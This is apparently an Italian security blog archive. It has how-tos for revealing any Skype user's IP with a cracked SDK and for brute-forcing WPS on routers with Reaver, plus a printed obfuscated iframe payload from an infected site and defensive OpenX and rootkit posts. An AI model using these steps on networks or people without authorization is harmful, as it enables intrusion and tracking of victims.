Scoprire l’indirizzo IP di un utente Skype

Trovare l’indirizzo IP di un utente Skype è molto semplice, basta iniziare una chat, o ancor meglio un trasferimento di file, con il nostro utente “target” e aprire per esempio netstat, tcpdump oppure, se siete su Windows, usare un programma come TCPView. Da qualche giorno però è venuto alla luce che Skype permette di trovare l’indirizzo IP di qualsiasi utente anche senza averlo prima aggiunto come nostro contatto e senza aver bisogno di iniziare una conversazione con l’utente. La vulnerabilità, anche se è improprio definirla tale, consente non solo di rivelare l’indirizzo IP pubblico di qualsiasi utente ma anche quello privato, cioè quello usato internamente nella propria rete locale.

Il tutto è stato reso pubblico prima da un post su Pastebin, poi è stato realizzato un servizio Web chiamato Skype IP finder (UPDATE 2 maggio 2012: il sito è stato sospeso, esiste tuttavia anche un altro metodo abbastanza semplice, sempre segnalato su Pastebin) in cui basta inserire il nome utente Skype di cui vogliamo individuare l’IP, infine zhovner su GitHub ha creato due script Python per l’individuazione dell’IP che fanno uso di una versione craccata dello Skype Kit.

Tra tutti i metodi sicuramente il più semplice è usare il servizio Web anche se il tool messo a punto da zhovner è efficace, peccato però che a quanto dice l’autore Skype stia bannando gli utenti che ne fanno uso. Voglio comunque descriverne i passi principali per utilizzarlo su un sistema Linux, nel mio caso su Ubuntu 12.04:

  1. Scaricate lo Skype Kit craccato
  2. e decomprimetelo in una directory a vostra scelta

  3. modificate il file keypair.py presente nella directory dello Skype Kit “/skypekit_sdk+runtimes_370_412/skypekit-sdk_runtime-3.7.0/examples/python/tutorial/” inserendo i seguenti valori:
    keyFileName = '../../../keypair.pem';
    distroRoot = '../../../';
    
  4. scaricate dal repository di zhovner su GitHub i file server.py e client.py e posizionateli nella directory dello Skype Kit seguente /skypekit-sdk_runtime-3.7.0/examples/python/tutorial/
  5. rendete eseguibile con “chmod +x” il file RUNTIME_linux-x86-skypekit-voicertp-videortp_3.7.0 presente in “/skypekit-sdk_runtime-3.7.0/bin/linux-x86/” e avviatelo da terminale
    ./skypekit-sdk_runtime-3.7.0/bin/linux-x86/RUNTIME_linux-x86-skypekit-voicertp-videortp_3.7.0 -x -m -d logname
  6. avviate server.py dando come parametri il vostro username e password Skype:
    python2.6 server.py username password
  7. modificate client.py dando il percorso del file di log generato da RUNTIME_linux-x86-skypekit-voicertp-videortp_3.7.0 (ad esempio “/home/vostronomeutente/skypekit_sdk+runtimes_370_412/skypekit-sdk_runtime-3.7.0/bin/linux-x86/logname20120428-2048.log”) e utilizzatelo nel seguente modo:
    python client.py username

    il parametro username consente di cercare l’indirizzo IP dell’utente Skype che abbia lo username che avete indicato a client.py

  8. Inutile dire che la scoperta dell’indirizzo IP di qualsiasi utente di Skype sia estremamente utile per un eventuale attaccante che voglia localizzare geograficamente il suo “bersaglio” e voglia effettuare degli attacchi mirati.

Bucare una rete Wi-Fi protetta con Ubuntu usando Reaver

Fino a qualche giorno fa l’arsenale di chi voleva bucare una rete WiFi protetta era limitato alla suite aircrack-ng (che da poco ho scoperto essere stata eliminata dai repository di Debian e Ubuntu 12.04). Lo scenario è cambiato con l’arrivo di Reaver, programma che sfrutta delle vulnerabilità nel protocollo WiFi Protected Setup (WPS) effettuando un brute force che consente di recuperare la password WPA/WPA2 in poche ore.

Reaver è disponibile in formato sorgente su Google Code e deve essere compilato per funzionare. Per compilare Reaver su Ubuntu è necessario scaricare i seguenti pacchetti:

sudo apt-get install build-essential
sudo apt-get install libpcap0.8-dev
sudo apt-get install libsqlite3-dev

Scaricata e scompattata l’ultima versione del tool, al momento in cui scrivo reaver-1.3, sarà sufficiente compilarlo con i soliti comandi:

./configure
make
sudo make install

A questo punto potremo iniziare a “guardarci intorno” per vedere se attorno a noi ci sono router o AP vulnerabili, nella versione 1.3 di reaver è stato incluso walsh un’utility che permette proprio di individuare dispositivi vulnerabili nelle vicinanze. Per usare walsh è necessario mettere la propria scheda wireless in monitor mode, lo si può fare usando airmon-ng (incluso in aircrack-ng) o iwconfig. Con airmon basterà dare:

sudo airmon-ng start wlan0

Nel caso network-manager o altri software interferiscano con la messa in monitor mode della scheda wireless sarà opportuno terminare tutti i processi che possono disturbare l’operazione con:

sudo airmon-ng check kill

Se si preferisce usare iwconfig (personalmente reputo più affidabile il metodo con airmon-ng), utility solitamente già inclusa in qualsiasi distribuzione, basterà invece dare i seguenti comandi per mettere in monitor mode la scheda wireless:

sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode monitor
sudo ifconfig wlan0 up

Fatto questo avremo attivato l’interfaccia mon0 necessaria al funzionamento di reaver. Come detto il primo step è usare walsh per individuare router vulnerabili:

sudo walsh -i mon0

L’output sarà una lista di router con relativo MAC address e nome. Se si dovesse ricevere l’errore “Found packet with bad FCS, skipping” allora si dovrà dare a walsh un’opzione per eliminare questo errore e procedere comunque:

sudo walsh -i mon0 --ignore-fcs

Presa nota del MAC address del router da attaccare potremo procedere finalmente al brute force con reaver nel seguente modo:

reaver -i mon0 -b 00:01:02:03:04:05 -vv

si può anche omettere la verbosità dell’output (opzione -vv) ma consiglio di lasciarla perché così si hanno molte più informazioni sull’attacco che si sta eseguendo.

Per rendere più veloce l’attacco è possibile anche diminuire il delay di 1 secondo nell’attacco forza bruta di reaver come spiegato nei reaver-wps hints and tricks:

reaver -i mon0 -b 00:01:02:03:04:05 -vv -d 0

Reaver salva le sue sessioni di attacco nella directory “/etc/reaver” con una estensione .wpc, se si interrompe una sessione e la si vuole riprendere reaver la caricherà in automatico in base al MAC address del router bersaglio, in alternativa si può caricare manualmente una sessione impartendo l’opzione “–session option”. Non aspettatevi comunque tempi troppo veloci, la riuscita del brute force dipende molto dal modello di router attaccato e da quanto tempo il router bersaglio rimane acceso. Una sola annotazione: il mio portatile, durante un test di attacco con reaver, consumava la carica della batteria in pochissimo tempo, segno che il brute force è esoso in termini di utilizzo delle risorse del sistema.

WordPress Italy è stato infettato

wordpress italy infetto

Questa mattina mi sono accorto per caso che nelle SERP di Google il sito www.wordpress-it.it, cioè WordPress Italy, risulta segnalato come sito infetto. Ecco la SERP di Google con evidenziato il messaggio “Questo sito potrebbe arrecare danni al tuo computer”:

wordpress italy infetto

Andando ad analizzare il sorgente del sito con Malzilla, utile per scaricare in modo sicuro il sito senza navigarci, appare chiaro come il problema risieda in un iframe che reindirizza al dominio vosstaniecorpov.com. Questo è l’iframe iniettato su WordPress Italy:

enc = "%3Ciframe%20src%3D%27http%3A//vosstaniecorpov.com/in.php%27%20width%3D%271%27%20height%3D%271%27%20frameborder%3D%270%27%3E%3C/iframe%3E"; 
dec = unescape(enc); 
document.write(dec);

Con una macchina virtuale ho navigato il sito con Firefox (6.0.2) e vengono effettuate anche delle chiamate a http://daitetrafu.com, segnalato anch’esso come sito malevolo (anche se stranamente non da VirusTotal ma solo dalla funzione di riconoscimento siti nocivi di Firefox e di Chrome) come si vede in figura:

dainetrafu sito malevolo

Difficile capire al momento quale sia la falla che è stata sfruttata dagli attaccanti, probabile ci sia una vulnerabilità nel tema usato da WordPress Italy oppure in qualche plugin dato che la versione di WordPress utilizzata è la 3.3 leggendo il file http://www.wordpress-it.it/readme.html.

OpenX 2.8.7 vulnerabile a una SQL injection?

Prima Speedtest.net, poi Kickasstorrents (www.kat.ph) sono stati colpiti da attacchi mirati a compromettere le rispettive installazioni di OpenX. A riportare le compromissioni del banner management system è stato il blog di Armorize (qui si parla di Speedtest mentre qui di kat.ph).

Dal momento che almeno la versione installata da Kickasstorrents è OpenX 2.8.7 e moltissimi utenti continuano a riportare compromissioni anche con questa versione (basta leggere i commenti al post) sembra che ci possa essere una SQL injection sfruttabile da attaccanti remoti per iniettare codice JavaScript nei codici zona dei banner.

Controllando in giro mi pare che l’unica vulnerabilità nota in OpenX 2.8.7 e precedenti sia una vulnerabilità Cross Site Request Forgery (CSRF) sfruttabile soltanto con utenti loggati all’amministrazione di OpenX, inutile dunque per portare a termine infezioni su larga scala di installazioni di OpenX.

Gli sviluppatori di OpenX, come al solito, non offrono alcuna indicazione in merito dunque per ora l’unica via per rendere più sicura la propria installazione consiste nel proteggere l’area amministrativa con un .htaccess bloccandone l’accesso ad IP (come fatto da speedtest.net dopo la compromissione dell’installazione di OpenX su ads.ookla.com) o ad utenti che non effettuino login (come spiegato nel forum di supporto).

Se siete stati infettati consiglio di seguire le indicazioni sulla pulizia di OpenX che ho dato tempo fa ma aggiungerei anche due consigli per individuare la presenza di codice JavaScript iniettato utilizzando questa query sql suggerita sul blog di OpenX:

SELECT bannerid, append, prepend FROM banners WHERE append != '' OR prepend != '';
?SELECT zoneid, append, prepend FROM zones WHERE append != '' OR prepend != ''

oppure per individuare utenti amministratori nascosti:

SELECT u.user_id, u.contact_name, u.email_address, u.username FROM users AS u, account_user_assoc AS aua WHERE u.user_id=aua.user_id AND aua.account_id = (SELECT value FROM application_variable WHERE name='admin_account_id');

Ubuntu: strumenti per rilevare la compromissione di un sistema

È passato più di un mese da quando Kernel.org è stato messo in manutenzione a causa della compromissione dei suoi server. Ieri Greg Kroah-Hartman ha inviato un messaggio alla Linux Kernel Mailing List spiegando che l’hacking dei server è stato reso possibile grazie a un sistema infetto di uno degli sviluppatori di Linux.

Kroah-Hartman ha fornito alcuni consigli su come rilevare la compromissione di un sistema Linux, in questo post voglio fare altrettanto prendendo come distribuzione di esempio Ubuntu.

Vediamo gli strumenti che si possono usare per rilevare la compromissione di Ubuntu e/o l’infezione da parte di rootkit:

Leggi tutto

Sniffare il traffico di iPhone e iPad con Zed Attack Proxy

Vedere in tempo reale il traffico HTTP del vostro iPhone, iPad o iPod Touch è semplice e può rivelarsi molto utile a fini di debugging. Basta usare un proxy in funzione sul proprio PC e impostare sul proprio iDevice l’indirizzo IP e la porta del proxy in ascolto.

Su Windows, Linux e Mac si può usare Zed Attack Proxy, o più semplicemente ZAP, di OWASP. Su ZAP sarà sufficiente cliccare su “Tools-Options” quindi andare su “Local Proxy”, alla voce Address dovremo rimuovere “localhost” (da lasciare invece tutte le volte che si voglia analizzare il traffico di un browser presente sulla macchina locale) e inserire l’indirizzo IP del nostro computer nella LAN dove è connesso anche iPhone o iPad. Come porta invece possiamo lasciare la “8080” come si vede in figura:

zap local proxy

Fatto questo dovremo andare a modificare la connessione Wi-Fi di iPhone o iPad da “Impostazioni-Wi-Fi” abilitando “Proxy HTTP” e inserendo l’indirizzo IP del computer dove è in ascolto ZAP, la voce “Server”, e la porta 8080.

Fatto questo potremo navigare da iPhone e sniffare in tempo reale tutto il traffico HTTP accedendo all’interfaccia di Zed Attack Proxy. Come dicevo all’inizio, ZAP si può usare ovviamente anche per analizzare il traffico HTTP di qualsiasi browser presente sulla stessa macchina su cui è in ascolto. ZAP include anche funzionalità di analisi di potenziali SQL Injection nei siti visitati, port scanning, brute force e molto altro.

VPNOD: VPN gratis con IP americano

Basta avere un indirizzo email valido per usare VPNOD, un servizio di VPN in beta che sta offendo account gratis ancora per poco tempo. Non è ancora possibile sapere quanto costerà il servizio una volta uscito dalla fase beta ma per ora si può usare senza restrizioni.

Per attivare un account basta inviare una email a promotion at vpnod.com con oggetto vpnod. Si riceverà un messaggio automatico di attivazione dell’account con lo username (l’email utilizzata per l’invio del messaggio), una password e i parametri necessari a configurare la VPN.

Leggi tutto